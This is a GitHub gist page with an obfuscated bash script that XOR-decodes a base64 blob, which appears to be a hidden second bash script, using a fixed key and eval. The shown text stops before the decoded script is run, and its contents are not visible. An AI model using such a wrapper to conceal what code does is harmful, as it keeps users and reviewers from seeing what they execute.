Skip to content

Instantly share code, notes, and snippets.

@oxynux oxynux/decrypted_enc.sh Secret
Last active Nov 9, 2018

Embed
What would you like to do?
#!/bin/bash
_l() {
_i=0;_x=0;
for ((_i=0; _i<${#1}; _i+=2)) do
__return_var="$__return_var$(printf "%02x" $(( ((0x${1:$_i:2})) ^ ((0x${2:$_x:2})) )) )"
if (( (_x+=2)>=${#2} )); then ((_x=0)); fi
done
if [[ "$3" ]]; then eval "$3='$__return_var'"; else echo -n "$__return_var"; fi
}
_m() {
_v=$(base64 --decode <(printf "$1"));_k=$(xxd -pu <(printf "$2"));
__return_var="$(xxd -r -p <(_l "$_v" "$_k"))"
if [[ "$3" ]]; then eval "$3='$__return_var'"; else echo -n "$__return_var"; fi
}
_y="4862950061"
_t="MTcxOTE5NTA1MDViMWY1MjU3NDI1YzMyNTk0MTY2NDM1NTQyNDU1ODViNTYwYjEwMWQxZDQzNDc2OTQ3NTE0YTQ1MTIxNDQ1NDI1ZjUyNDQ1NzRjNjA1NzRiNDY1OTVmNTgxODE2MzI0NTU3NGE0NjU5NWY1ODZlNTM0ZDVmNTYwNDE3MTQxODQzNDQ1ZDVjNTE1NzU3MWMxMjNhNWI1MDU3NTA1ZjVjNWM2YTU5NTQwYjEzMTAxMDUzNTE1MTVhMTAxZDU4MTExNjFjMWU1YjU2NDc1NTU3MTYxYzQ2NWMwNzEyMTQ1NjEwNzk3OTYxNTg1OTQyNTQ1NjQ3NWQ3NTRlNDE1MTRhNDI3NjVjNDM1OTUzNTMxMTQ4MTg1MTQwNWM0NTEwMWQ1OTExMTMxYTdmN2Q2OTU5NTE0NDUwNWU0NjU1NjM2NzcwNzExMjEwMGIxMTE2NjQxZTFjMTM2OTE5MTIxMTExNDgxODQ1NTc1ZDE1MWQ3NTE2MWM1YTE4MTE0MTc5MWIxYTEyMWU2YTZhMWE2YjE5MTAxNzcwNmMwNzcxNDQxZjFmMTAxOTQ5MTA0NDQ0MTExOTVjNTUxMjFlNmU2YjBhNDY0MzVkNTY0Mj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